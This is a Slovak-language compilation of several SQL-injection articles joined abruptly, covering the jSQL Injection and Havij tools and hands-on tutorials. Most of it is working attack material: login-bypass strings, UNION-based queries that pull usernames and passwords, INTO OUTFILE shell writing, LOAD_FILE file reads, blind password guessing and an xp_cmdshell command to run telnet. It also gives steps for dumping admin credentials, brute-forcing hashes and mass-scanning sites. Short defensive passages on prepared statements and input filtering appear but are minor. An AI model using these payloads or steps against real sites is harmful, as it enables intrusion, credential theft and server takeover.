SQL Injection zvnútra aj zvonku. Návod na používanie jSQL Injection - multifunkčný nástroj na vyhľadávanie a využívanie SQL injekcií v Kali Linux Stiahnite si vyhľadávací program sql injection

Spustite stiahnutý súbor dvojité kliknutie(Musieť mať virtuálny prístroj ).

3. Anonymita pri kontrole stránky na SQL injekcie

Nastavenie Tor a Privoxy v Kali Linuxe

[Sekcia vo vývoji]

Nastavenie Tor a Privoxy v systéme Windows

[Sekcia vo vývoji]

jSQL Injection proxy nastavenia

[Sekcia vo vývoji]

4. Kontrola stránky pre SQL injection pomocou jSQL Injection

Práca s programom je mimoriadne jednoduchá. Stačí zadať adresu stránky a stlačiť ENTER.

Nasledujúca snímka obrazovky ukazuje, že stránka je zraniteľná voči trom typom SQL injekcií naraz (informácie o nich sú uvedené v pravom dolnom rohu). Kliknutím na názvy injekcií môžete prepínať použitú metódu:

Tiež sme už zobrazili existujúce databázy.

Môžete vidieť obsah každej tabuľky:

Zvyčajne najzaujímavejšou časťou tabuliek sú poverenia správcu.

Ak máte šťastie a našli ste údaje správcu, tak je ešte priskoro na radosť. Musíte tiež nájsť admin panel, kde tieto údaje zadať.

5. Hľadajte správcov pomocou jSQL Injection

Ak to chcete urobiť, prejdite na ďalšiu kartu. Tu sa stretávame so zoznamom možných adries. Na kontrolu môžete vybrať jednu alebo viac stránok:

Výhodou je, že nemusíte používať iné programy.

Bohužiaľ, nie je veľa neopatrných programátorov, ktorí ukladajú heslá v čistom texte. Pomerne často v reťazci hesla vidíme niečo ako

8743b52063cd84097a65d1633f5c74f5

Toto je hash. Môžete to dešifrovať hrubou silou. A… jSQL Injection má vstavaný brute-forcer.

6. Hrubé vynútenie hash s jSQL Injection

Nepochybnou výhodou je, že nemusíte hľadať ďalšie programy. Existuje podpora pre mnohé z najpopulárnejších hashov.

Nie je to najlepšie najlepšia možnosť. Ak sa chcete stať guruom v dešifrovaní hashov, odporúča sa kniha „“ v ruštine.

Ale samozrejme, keď nie je po ruke iný program alebo nie je čas na štúdium, príde vhod jSQL Injection so vstavanou funkciou brute-force.

Existujú nastavenia: môžete nastaviť, ktoré znaky sú zahrnuté v hesle, rozsah dĺžky hesla.

7. Operácie so súbormi po detekcii injekcie SQL

Okrem operácií s databázami - ich čítanie a úprava, ak sa zistia injekcie SQL, možno vykonať nasledujúce operácie so súbormi:

  • čítanie súborov na serveri
  • nahrávanie nových súborov na server
  • nahrávanie shellov na server

A to všetko je implementované v jSQL Injection!

Existujú obmedzenia - server SQL musí mať práva na súbory. Primerané správcov systému sú zakázané a majú prístup systém súborov nie je možné získať.

Prítomnosť privilégií k súborom sa dá ľahko skontrolovať. Prejdite na jednu zo záložiek (čítanie súborov, vytvorenie shellu, nahranie nového súboru) a skúste vykonať jednu z uvedených operácií.

Ešte veľmi dôležitá poznámka – musíme poznať presnú absolútnu cestu k súboru, s ktorým budeme pracovať – inak nebude fungovať nič.

Pozrite si nasledujúcu snímku obrazovky:

Na každý pokus o prácu so súborom odpovedá: Žiadne privilégium FILE(žiadne privilégiá k súborom). A tu sa nedá nič robiť.

Ak namiesto toho máte inú chybu:

Problém so zápisom do [názov_adresára]

To znamená, že ste nesprávne zadali absolútnu cestu, kam chcete súbor zapísať.

Na to, aby človek zvolil absolútnu cestu, musí aspoň poznať operačný systém na ktorom beží server. Ak to chcete urobiť, prejdite na kartu Sieť.

Takýto záznam (reťazec Win64) nám dáva dôvod predpokladať, že máme čo do činenia s OS Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Pripojenie: Keep-Alive Metóda: HTTP/1.1 200 OK Obsah-Dĺžka: 353 Dátum: Pia, 11. december 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; znaková sada=UTF-8

Tu máme nejaký Unix (*BSD, Linux):

Transfer-Encoding: chunked Dátum: Pi, 11 Dec 2015 11:57:02 GMT Metóda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Poháňané: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

A tu máme CentOS:

Metóda: HTTP/1.1 200 OK Vyprší: štvrtok, 19. novembra 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Pripojenie: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Pi, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

V systéme Windows je typický priečinok lokality C:\Server\data\htdocs\. Ale v skutočnosti, ak niekto „uvažoval“ o vytvorení servera v systéme Windows, potom je veľmi pravdepodobné, že táto osoba nepočula nič o privilégiách. Preto by ste mali začať skúšať priamo z adresára C: / Windows /:

Ako vidíte, všetko išlo perfektne hneď na prvýkrát.

Ale samotné jSQL Injection shell vyvolávajú moje pochybnosti. Ak máte privilégiá k súborom, môžete niečo nahrať pomocou webového rozhrania.

8. Hromadná kontrola stránok pre SQL injekcie

A dokonca aj jSQL Injection má túto funkciu. Všetko je veľmi jednoduché - nahrajte zoznam stránok (možno importovať zo súboru), vyberte tie, ktoré chcete skontrolovať, a kliknutím na príslušné tlačidlo spustite operáciu.

Výstup pomocou jSQL Injection

jSQL Injection je dobrý, výkonný nástroj na nájdenie a následné použitie SQL injekcií nájdených na stránkach. Jeho nesporné výhody: jednoduché použitie, vstavané súvisiace funkcie. jSQL Injection môže byť najlepším priateľom začiatočníka pri analýze webových stránok.

Z nedostatkov by som poznamenal nemožnosť úpravy databáz (aspoň ja som túto funkcionalitu nenašiel). Ako všetky nástroje s GUI, nevýhody tohto programu možno pripísať nemožnosti použitia v skriptoch. Napriek tomu je aj v tomto programe možná určitá automatizácia - vďaka vstavanej funkcii hromadnej kontroly miesta.

jSQL Injection sa používa oveľa pohodlnejšie ako sqlmap. Ale sqlmap podporuje viac druhov SQL injection, má možnosti firewallu súborov a niektoré ďalšie funkcie.

Zrátané a podčiarknuté: jSQL Injection - najlepší priateľ začínajúci hacker.

Pomoc pre tento program nájdete v Kali Linux Encyklopédii na tejto stránke: http://kali.tools/?p=706

Havij je program, ktorý slúži na kontrolu zraniteľnosti webových stránok. Najčastejšie sa používa nie celkom na svoj hlavný účel, konkrétne na zavádzanie SQL injekcií. Práve kvôli tomu sa nástroj najčastejšie označuje ako „hackerský“ softvér.

Princíp činnosti

Používaním túto aplikáciu je možné vykonávať útoky na webovú službu s cieľom zmeniť výraz SQL zreťazením. Ak je injekcia úspešná, injekcia vám umožní upraviť logiku na vykonanie používateľskej požiadavky pre vaše vlastné potreby. Počas útoku sa často vytvorí jednoduchý odtlačok (fingerprinting) databázy, po ktorom sa z nej importujú potrebné údaje, napríklad používateľská základňa alebo databáza správcu. účtu. V prípade výskytu zraniteľností môže protivník dokonca interagovať s back-end časťou webovej aplikácie. Takáto implementácia umožňuje najmä vykonávať potrebné príkazy na serveri alebo prezerať potrebné súbory na strane hostiteľa.

možnosti

Havij vám dáva možnosť ukladať hash hesiel a výpisy tabuliek. Program vám umožňuje vykonávať rôzne typy injekcií: SQL injection založené na chybách, UNION dotaz SQL vstrekovanie, skladané dopyty SQL vstrekovanie, časovo založené slepé SQL vstrekovanie a slepé SQL vstrekovanie založené na booleovskej báze. Nástroj pracuje s HTTPS a podporuje väčšinu odlišné typy DBMS: MSAccess, MySQL, Oracle, PostgreSQ a dokonca aj Sybase. V prípade potreby môže Havij pracovať vo viacerých vláknach prostredníctvom servera proxy.

Syntax vloženého kódu je možné upravovať „ručne“. Pred začatím útoku je tiež povolené vybrať zoznam hľadaných kľúčových slov, stĺpcov tabuľky alebo dátových typov (napríklad celé čísla alebo zlomky).

Počas prevádzky si Havij vedie podrobný denník vykonaných operácií, ktorý sa po dokončení útoku uloží do priečinka programu. Rozhranie aplikácie je celkom intuitívne a všetky hlavné ovládacie prvky sa zmestia do jedného okna.

Kľúčové vlastnosti

  • vykonávanie SQL injekcií s požadovanou syntaxou;
  • podpora rôznych možností implementácie;
  • vyhľadávanie zraniteľností na webových stránkach a aplikáciách;
  • možnosť pracovať s rôzne druhy DBMS;
  • podpora protokolu HTTPS a proxy.

SQL injection je útok, ktorý používa dynamické príkazy SQL komentovaním určitých častí príkazov alebo pridaním podmienky, ktorá bude vždy pravdivá. Zameriava sa na diery v architektúre webových aplikácií a používa príkazy SQL na spustenie škodlivého kódu SQL:

V tomto článku sa pozrieme na metódy používané v SQL injection a ako chrániť webové aplikácie pred takýmito útokmi.

Ako funguje SQL injection

Typy útokov, ktoré je možné vykonať pomocou SQL injection, sa líšia v type ovplyvnených databázových motorov. Útok sa zameriava na dynamické príkazy SQL. Dynamický príkaz je príkaz, ktorý sa generuje v čase spustenia na základe parametrov z webového formulára alebo reťazca dotazu URI.

Zvážte jednoduchú webovú aplikáciu s prihlasovacím formulárom. Kód formulára HTML je uvedený nižšie:

  • Formulár akceptuje e-mailovú adresu a potom sa heslo odošle na súbor PHP s názvom index.php ;
  • Relácia je uložená v cookie. Táto schopnosť je povolená nastavením príznaku Remember_me. Na odosielanie údajov sa používa metóda post. To znamená, že hodnoty sa nezobrazujú v adrese URL.

Predpokladajme, že požiadavka na overenie ID užívateľa na strane servera je nasledovná:

  • Požiadavka používa hodnoty poľa $_POST priamo bez toho, aby ho dezinfikovala;
  • Heslo je zašifrované pomocou algoritmu MD5.

Pozrieme sa na útok pomocou SQL injection sqlfiddle . Vo svojom prehliadači otvorte adresu URL http://sqlfiddle.com/. Na obrazovke sa zobrazí nasledujúce okno.

Poznámka: Budete musieť napísať príkazy SQL:

Krok 1. Zadajte tento kód do ľavého panela:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); vložiť do používateľov (e-mail, heslo) hodnoty(" [chránený e-mailom]",md5("abc"));

Krok 2. Kliknite na „ Zostavte schému».
Krok 3: Zadajte nižšie uvedený kód v pravom paneli:

vyberte * z používateľov;

Krok 4. Kliknite na " Spustite SQL". Uvidíte nasledujúci výsledok:

Predpokladajme, že používateľ poskytne e-mailovú adresu [chránený e-mailom] a 1234 ako heslo. Dotaz, ktorý sa má vykonať v databáze, môže vyzerať takto:

Vyššie uvedený príklad vstrekovacieho kódu SQL je možné obísť zakomentovaním časti hesla a pridaním podmienky, ktorá bude vždy pravdivá. Predpokladajme, že útočník nahradí nasledujúce údaje v poli e-mailovej adresy:

[chránený e-mailom]"ALEBO 1 = 1 LIMIT 1 -- " ]

a xxx v poli pre heslo.

Vygenerovaný dynamický príkaz bude vyzerať takto:

  • [chránený e-mailom] končí jednou úvodzovkou, ktorá končí reťazec;
  • ALEBO 1 = 1 LIMIT 1 je podmienka, ktorá bude vždy pravdivá, obmedzuje vrátené výsledky iba na jeden záznam.

0; ‘ AND … je komentár SQL, ktorý vylučuje časť hesla.

Skopírujte vyššie uvedený dotaz a vložte ho do textového poľa FiddleRun SQL SQL, ako je znázornené nižšie:

Aktivita hackerov: SQL injekcie do webových aplikácií

Na stránke http://www.techpanda.org/ máme k dispozícii jednoduchú webovú aplikáciu, ktorá je špecificky zraniteľná voči útokom SQL injection pre začiatočníkov na demonštračné účely. Kód HTML formulára vyššie je prevzatý z autorizačnej stránky tejto aplikácie.

To poskytuje základné zabezpečenie, ako je dezinfekcia e-mailového poľa. To znamená, že vyššie uvedený kód nemožno použiť na obídenie tohto mechanizmu.

Ak ho chcete obísť, môžete použiť pole pre heslo. Nižšie uvedený diagram ukazuje kroky, ktoré treba dodržať:

Predpokladajme, že útočník poskytne nasledujúce údaje:

Krok 1: Predstavte sa [chránený e-mailom] ako e-mailovú adresu;
Krok 2 : Zadajte xxx') ALEBO 1 = 1 - ] ;

Stlačí tlačidlo "Odoslať".

Bude presmerovaný na administračný panel. Vygenerovaná požiadavka bude vyzerať takto:

Nasledujúci diagram ukazuje, ako bola žiadosť vygenerovaná:

Tu:

  • Požiadavka predpokladá, že sa používa šifrovanie md5;
  • Používa sa záverečná jednoduchá úvodzovka a zátvorka;
  • K operátoru sa pridá podmienka, ktorá bude vždy pravdivá.

Na dosiahnutie svojich cieľov sa útočníci spravidla pokúšajú použiť niekoľko rôznych metód pri útoku SQL injection.

Iné typy SQL vstrekovacích útokov

SQL injekcie môžu spôsobiť oveľa väčšie škody ako prihlásenie obídením autorizačného mechanizmu. Niektoré z týchto útokov môžu:

  • Vykonajte vymazanie údajov;
  • Vykonajte aktualizáciu údajov;
  • Vykonajte pridanie údajov;
  • Spustite príkazy na serveri, ktorý stiahne a nainštaluje malvér;
  • Vykonajte export cenných údajov, ako sú podrobnosti, na útočníkov vzdialený server kreditná karta, Email a heslá.

Vyššie uvedený zoznam nie je úplný. Poskytuje len predstavu o tom, aké nebezpečné sú injekcie SQL.

Nástroje na automatizáciu vstrekovania SQL

Vo vyššie uvedenom príklade sme použili metódy manuálneho útoku. Pred vykonaním SQL injection musíte pochopiť, že existujú automatizované nástroje, ktoré vám umožňujú vykonávať útoky efektívnejšie a rýchlejšie:

  • SQLSmack ;
  • SQLPing 2;
  • SQLMap .

Ako zabrániť SQL injekciám

Tu je niekoľko jednoduché pravidlá, čo vám umožní chrániť sa pred útokmi SQL injection:

Vstup používateľa nesmie byť dôveryhodný. Pred použitím údajov v dynamických operáciách SQL je vždy potrebné ich dezinfikovať.

Uložené procedúry- môžu zapuzdrovať SQL dotazy a spracovávať všetky vstupné dáta ako parametre.

Pripravené otázky- najprv sa vytvoria požiadavky a potom sa všetky poskytnuté používateľské údaje spracujú ako parametre. Nemá to vplyv na syntax príkazu SQL.

Regulárne výrazy— možno použiť na potenciálne zistenie škodlivý kód a jeho odstránením pred vykonaním príkazov SQL.

Prístupové práva na pripojenie k databáze- do chrániť pred SQL injekciami, účty, ktoré sa používajú na pripojenie k databáze, by mali mať udelené iba požadované prístupové práva. Pomôže to obmedziť akcie, ktoré môžu príkazy SQL vykonávať na serveri.

Chybové hlásenia- nemali by byť zverejnené dôverné informácie. Jednoduché vlastné chybové hlásenia ako „ Ľutujeme, vyskytla sa technická chyba. Podpora už bola o tom informovaná. Skúste neskôr prosím' možno použiť namiesto zobrazenia SQL dotazov, ktoré spôsobili chybu.

S pozdravom čitateľ. V poslednom čase sa venujem bezpečnosti webu a do istej miery s tým súvisí aj práca. Pretože Čoraz častejšie som si začal všímať témy na rôznych fórach, s prosbou ukázať, ako to celé funguje, som sa rozhodol napísať článok. Článok bude určený pre tých, ktorí sa s tým nestretli, no chceli by sa poučiť. Článkov na túto tému je na webe pomerne veľa, no pre začiatočníkov sú trochu komplikované. Pokúsim sa všetko opísať jasným jazykom a podrobnými príkladmi.

Predslov

Na pochopenie tohto článku naozaj nepotrebujete znalosti SQL, ale aspoň dobrú trpezlivosť a trochu mozgu - na zapamätanie.

Verím, že jedno prečítanie článku nebude stačiť, pretože. potrebujeme živé príklady - ako viete, prax v procese zapamätania nie je zbytočná. Preto budeme písať zraniteľné skripty a trénovať na nich.

Čo je SQL injection?
rozprávanie jednoduchý jazyk je útok na databázu, ktorý vám umožní vykonať nejakú akciu, ktorú tvorca skriptu neplánoval. Príklad zo skutočného života:

Otec napísal v poznámke svojej matke, že dala Vasyovi 100 rubľov a položila to na stôl. Prepracovaním na vtipný jazyk SQL dostaneme:
ZÍSKAJTE 100 RUBĽOV Z PEŇAŽENKY A DAJTE ICH Vasyovi

Keďže otec napísal list zle (nemotorný rukopis) a nechal ho na stole, videl ju Vasyin brat Petya. Petya ako hacker tam pridala „ALEBO Petya“ a dostala nasledujúcu požiadavku:
ZÍSKAJTE 100 RUBĽOV Z PEŇAŽENKY A DAJTE ICH Vasyovi ALEBO Petyovi

Mama sa po prečítaní poznámky rozhodla, že včera dala peniaze Vasyovi a Petyovi dala 100 rubľov. Tu je jednoduchý príklad SQL injection z reálneho života :) Bez filtrovania údajov (mama sotva rozoznala rukopis) Peťa zarobila.

Príprava
Na precvičenie budete potrebovať archív so zdrojovými skriptami k tomuto článku. Stiahnite si ho a rozbaľte ho na serveri. Taktiež importujte databázu a nastavte údaje v súbore cfg.php

vyhľadávanie injekcií SQL

Ako ste už pochopili, injekcia pochádza z prichádzajúcich údajov, ktoré nie sú filtrované. Najčastejšou chybou je nefiltrovanie odovzdaného ID. Zhruba povedané, náhradné úvodzovky vo všetkých oblastiach. Či už je to žiadosť GET/POST alebo dokonca súbor cookie!

Numerický vstupný parameter
Na precvičenie potrebujeme scenár index1.php. Ako som povedal vyššie, v ID správ nahrádzame úvodzovky.

Pretože naša požiadavka nemá žiadne filtrovanie:

$id = $_GET["id"]; $dotaz = "SELECT * Z noviniek WHERE id=$id";

Scenár to pochopí ako

SELECT * FROM news WHERE id=1"

A vypíše nám to chybu:
Upozornenie: mysql_fetch_array() očakáva, že parameter 1 bude zdrojom, boolovský daný v C:\WebServ\domains\sqlinj\index1.php v riadku 16

Ak sa nevyvolá žiadna chyba, môžu to byť tieto dôvody:

1.SQL injection tu nie je - Citáty sú filtrované, alebo len konverzia na (int)
2. Zakázaný chybový výstup.

Ak sa napriek tomu vyvodila chyba - Hurá! Našli sme prvý druh SQL injection - Numerický vstupný parameter.

Vstupný parameter reťazca

Žiadosti budú zaslané na index2.php. IN daný súbor, žiadosť vyzerá takto:
$user = $_GET["používateľ"]; $query = "VYBERTE * Z noviniek WHERE user="$user"";

Tu robíme výber noviniek podľa používateľského mena a opäť - nefiltrovať.
Opäť posielame žiadosť s cenovou ponukou:

Vyskytla sa chyba. OK! Existuje teda zraniteľnosť. Na začiatok nám to stačí – poďme cvičiť.

Poďme konať

Trochu teórie

Asi sa už neviete dočkať, kým z toho niečo vydolujete, až na chyby. Najprv pochopte, že znak " -- “ sa považuje za komentár v jazyk SQL.

POZOR! Pred a za ním musia byť medzery. V URL sú odovzdávané ako %20

Všetko, čo nasleduje po komentári, sa zahodí. To znamená, že žiadosť:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Vykonať úspešne. Môžete to vyskúšať na skripte index2.php odoslaním požiadavky takto:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Learn Parameter UNION. V jazyku SQL kľúčové slovo UNION používa sa na spojenie výsledkov dvoch SQL dotazov do jednej tabuľky. To znamená, aby sme z iného stola vytiahli niečo, čo potrebujeme.

Využívame to

Ak je parameter "Číselný", potom v dopyte nemusíme posielať cenovú ponuku a samozrejme na koniec uvádzame komentár. Späť k scenáru index1.php.

Obráťme sa na skript sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vyzerá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, pretože. na prácu s agregáciou dotazov potrebujeme rovnaký počet polí.

Pretože Keďže ich počet v prvom dopyte nevieme ovplyvniť, v druhom musíme ich počet vybrať tak, aby sa rovnal prvému.

Vyberieme počet polí

Výber polí je veľmi jednoduchý, stačí poslať nasledujúce požiadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opäť chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Žiadna chyba! Takže počet stĺpcov je 5.

GROUP BY
Často sa stáva, že polí môže byť 20 alebo 40 alebo dokonca 60. Aby sme ich nemuseli zakaždým prechádzať, používame GROUP BY

Ak žiadosť
sqlinj/index1.php?id=1 GROUP BY 2
neposkytli žiadne chyby, takže počet polí je väčší ako 2. Skúšame:

sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, takže počet polí je menší ako 8.

Ak nie je chyba pri GROUP BY 4, ale je chyba pri GROUP BY 6, potom je počet polí 5

Definovanie stĺpcov zobrazenia
Aby sa z prvej požiadavky nezobrazilo nič, stačí nahradiť neexistujúce ID, napr.

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Touto akciou sme určili, ktoré stĺpce sa zobrazia na stránke. teraz nahradiť tieto čísla potrebné informácie, musíte pokračovať v dopyte.

Dátový výstup

Povedzme, že vieme, že tabuľka stále existuje používateľov v ktorých sú polia id, názov A prejsť.
Potrebujeme získať informácie o používateľovi s ID=1

Zostavme teda dotaz takto:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript tiež pokračuje vo výstupe

Za týmto účelom nahradíme názvy polí na miesto čísel 1 a 3

sqlinj/index1.php?id=-1 názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali sme, čo sme potrebovali!

Pre "vstupný parameter reťazca" ako v skripte index2.php musíte pridať úvodzovky na začiatok a znak komentára na koniec. Príklad:
sqlinj/index2.php?user=-1" názov UNION SELECT,2,pass,4,5 FROM users WHERE id=1 --%20

Čítanie/zápis súborov

Ak chcete čítať a zapisovať súbory, používateľ databázy musí mať povolenia FILE_PRIV.
Zápis súborov
V skutočnosti je všetko veľmi jednoduché. Na zápis súboru použijeme funkciu OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Skvelé, súbor máme. Môžeme teda nahrať mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čítanie súborov
Čítanie súborov je ešte jednoduchšie ako ich zapisovanie. Funkciu stačí len použiť LOAD_FILE, pre miesto poľa, ktoré si vyberieme:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Takto sme si prečítali predchádzajúci zapísaný súbor.

Metódy ochrany

Chrániť sa je ešte jednoduchšie ako využiť zraniteľnosť. Stačí filtrovať údaje. Ak odovzdávate čísla, použite
$id = (int) $_GET["id"];
Ako navrhol používateľ malroc. Obráňte sa pomocou CHOP alebo pripravených výpisov.

Namiesto dokončenia

Na tomto chcem dokončiť svoju prvú časť o „injekcii SQL pre začiatočníkov“. V druhej sa pozrieme na ťažšie príklady injekcií. Pokúste sa písať zraniteľné skripty a vykonávať dotazy sami.
A pamätajte, neverte žiadnemu používateľovi vašej stránky.

SQL Injection dosť dobrá príležitosť aby sa hacker dostal
prístup na server. A s malým úsilím aj on
stále to chápe 🙂

kódovač vo vnútri

V dnešnej dobe je podporovaná práca s databázami
takmer všetky programovacie jazyky, ako napríklad BASIC, C++, Java, PERL, PHP, Assembler a dokonca aj JavaScript! A tieto programy sa nenazývajú inak ako DBMS – systémy na správu databáz. Databázy sa často používajú na riešenie finančných problémov,
účtovníctvo, personálna organizácia, ale svoje uplatnenie našli aj na internete.

Databázy sa často používajú na písanie webových aplikácií. Ich použitie je najvhodnejšie na ukladanie registračných údajov používateľov, ID relácií, organizovanie vyhľadávaní a iných úloh, ktoré vyžadujú viac spracovania.
množstvo dát. Na prístup k databáze sa používajú serverové technológie: PHP, PERL, ASP atď. Tu začína zábava. Keď na serveri
všetky záplaty sú nainštalované a firewall blokuje všetky porty okrem 80, alebo keď je na prístup k niektorým údajom potrebná autentifikácia, hacker môže použiť SQL Injection na cracknutie. Podstatou tohto útoku je použitie chyby na priesečníku WEB technológií a SQL. Ide o to, že mnohí internetové stránky na spracovanie užívateľských údajov, tvoria osobitnú SQL DB dotaz. Neopatrné používanie tejto techniky môže viesť k celkom zaujímavým výsledkom...

SQL Injection

Na vysvetlenie útoku si predstavme, že ste si na stránku stiahli jeden veľmi dôležitý nástroj a s hrôzou si všimli, že to môže urobiť iba registrovaný používateľ a registrácia, samozrejme, stojí peniaze Je čas pripomenúť si ako
prístup k databázam SQL. Napríklad kontrola používateľského mena a hesla v PHP môže vyzerať takto:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" A
pass="$heslo"");
$num_rows=mysql_num_rows($vysledok);
mysql_close($odkaz);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
inak
{
// CHYBA OVERENIA
}

Pridal som dva komentáre, "AUTHENTICATION OK" - namiesto toho by malo
prejdite na kód, ktorý sa vykoná, ak je heslo a prihlasovacie meno správne. Ďalšou „CHYBOU AUTENTIKÁCIE“ je miesto, kde bude popísaný kód, ktorý sa vykoná v prípade ich nesprávnosti. Ak vyplníte formulár, žiadosť bude vyzerať takto "http://www.server.com?login=user&password=31337", kde www.server.com je názov
server, ku ktorému sa pokúšame pripojiť. Našli sme, čo sme hľadali, a preto sa opäť vrátime do práce SQL. Ak teda musíte zadať prihlasovacie meno a heslo na autorizáciu, vygeneruje sa SQLžiadosť bude vyzerať takto:

SELECT * FROM users WHERE login="user" AND
heslo="31337"

To znamená asi toto: vráťte mi všetky záznamy z databázy užívateľov s prihlasovacím menom „user“ a heslom „31337“. Ak takýto záznam existuje, tak je užívateľ zaregistrovaný, ale ak nie, tak nie... Ale za určitých okolností sa dá všetko opraviť. Týka sa to situácie, keď aplikácia nekontroluje obsah prenášaných údajov alebo kontroluje neúplne, na prítomnosť SQL inštrukcie. V tomto príklade sú skontrolované dve polia login a password, ale ak je heslo "31337" AND email=" [chránený e-mailom]"(bez dvojitých úvodzoviek), potom bude dotaz trochu iný:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [chránený e-mailom]"

A ak pole e-mailu existuje, skontroluje sa aj táto podmienka. Ak si spomeniete na základy Booleovej algebry, príde vám na um, že okrem operácie „a“ existuje aj „alebo“, a keďže ich použitie podporuje SQL, môžete
opísaným spôsobom pridajte podmienku, ktorá vždy vráti hodnotu true. Na implementáciu je potrebné zadať „user“ ALEBO 1=1--“ ako prihlasovacie meno, v takom prípade bude mať žiadosť tvar:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
heslo="31337"

Na začiatok by ste mali vedieť, že „--“ znamená koniec požiadavky a všetko po „--“
nebudú spracované! Zdá sa, že sme zadali požiadavku:

SELECT * FROM users WHERE login="user" ALEBO 1=1

Ako vidíte, pridali sme podmienku „1=1“, čo znamená, že overovacie kritérium bude „ak je prihlásenie „používateľ“ alebo 1=1, ale 1 sa vždy rovná 1 (jedinou výnimkou môže byť byť aritmetika Daniho Shepovalova :)). Aby sme otestovali naše podozrenie
do panela s adresou vrazíme „http://www.server.com?login=user or 1=1--&password=31337“. To vedie k tomu, že nezáleží na tom, aké prihlásenie sme zadali, ale
hlavne heslo! A sme v matici ... och, v systéme a môžeme si bezpečne stiahnuť, čo potrebujeme.

Ale to je všetko v teórii. V praxi nevieme, ako sa žiadosť tvorí, aké údaje sa prenášajú a v akom poradí. Preto musíte pre všetky polia zadať "user" ALEBO 1=1--". Mali by ste tiež skontrolovať formulár na odoslanie pre skryté polia. V HTML sú opísané ako " ". Ak nejaké existujú, uložte stránku a zmeňte hodnoty týchto polí. Hodnoty v nich obsiahnuté sa často zabúdajú na kontrolu prítomnosti inštrukcií SQL. Ale v poriadku aby fungoval, mali by ste zadať úplnú cestu k skriptu vo formulári (značka "FORM") pre parameter "ACTION", ktorý spracováva túto požiadavku.

Nie vždy je však známe aj to, ako sa žiadosť tvorí,
Predchádzajúci príklad môže byť vytvorený nasledujúcimi spôsobmi:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=používateľ A heslo=31337

V tomto prípade môžete vyskúšať nasledujúce možnosti:

"ALEBO 1=1--
"ALEBO 1=1--
OR1=1--
" ALEBO "a"="a
" ALEBO "a"="a
") ALEBO ("a"="a
ALEBO "1"="1"

Všetko závisí od účelu skriptu a od programátora. Keďže každý človek má tendenciu robiť všetko po svojom, je dosť možné, že programátor nezvolí najjednoduchšiu možnosť. Preto by ste nemali okamžite
vzdaj sa, ak ťa odmietnu. Nevyhnutné
skúste čo najviac možností...

Detekcia hesla

Obídenie autorizácie nie je zlé, ale veľmi často sa diera, ktorú používate, zatvorí a všetko, čo ste mali k dispozícii, sa stratí.
To sa dá očakávať, ak programátor nie je hlupák
časom zakryje všetky medzery. Takýchto situácií sa môžete ľahko zbaviť tak, že sa o to postaráte vopred. Správnym riešením môže byť uhádnuť heslo
analýza výsledkov autentifikácie. Najprv sa pokúsime uhádnuť heslo, preto zadáme jeho miesto:

"ALEBO heslo>"a

Ak sa nám povie, že autorizácia bola odovzdaná, potom heslo
nezačína písmenom "a", ale jedným z nasledujúcich v zozname. Ideme ďalej a striedame
miesto „a“, ďalšie „b“, „c“, „d“, „e“... atď. kým nám nepovedia, že heslo nie je správne. Nech sa tento proces zastaví pri znaku „x“, v tomto prípade sa vytvoria dva scenáre vývoja situácie, nájde sa heslo alebo sa na tomto znaku načíta heslo. Ak chcete skontrolovať prvú možnosť, napíšte miesto hesla:

" ALEBO heslo="x

a ak heslo akceptujú a pustia vás dnu, tak ste heslo uhádli! Nie, potom by ste mali vybrať druhý znak,
presne to iste od zaciatku. Skontrolujte dva znaky
potrebovať to isté. Nakoniec dostanete heslo a rovnakým spôsobom hľadáte prihlásenie 🙂
Ak vám nájdené heslo a login nevyhovujú, môžete si nájsť iné. Ak to chcete urobiť, musíte začať s kontrolou od posledného znaku nájdeného hesla. Ak bolo heslo "xxx", je potrebné skontrolovať existenciu hesla
"xxy":

" ALEBO heslo="xxx

nenechajte si ujsť žiadnu možnosť!

MS SQL Server

PANI SQL Server vo všeobecnosti dar z nebies, ak sa vynechá potrebné filtrovanie. Pomocou zraniteľnosti SQL Injection môžete spustiť
príkazy na vzdialenom serveri pomocou exec master..xp_cmdshell. Ale použiť túto konštrukciu
musíte dokončiť operáciu "SELECT". V SQL sú príkazy oddelené bodkočiarkami. Preto sa pripojí k nejakej IP cez Telnet, musíte zadať heslo / prihlasovacie miesto:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

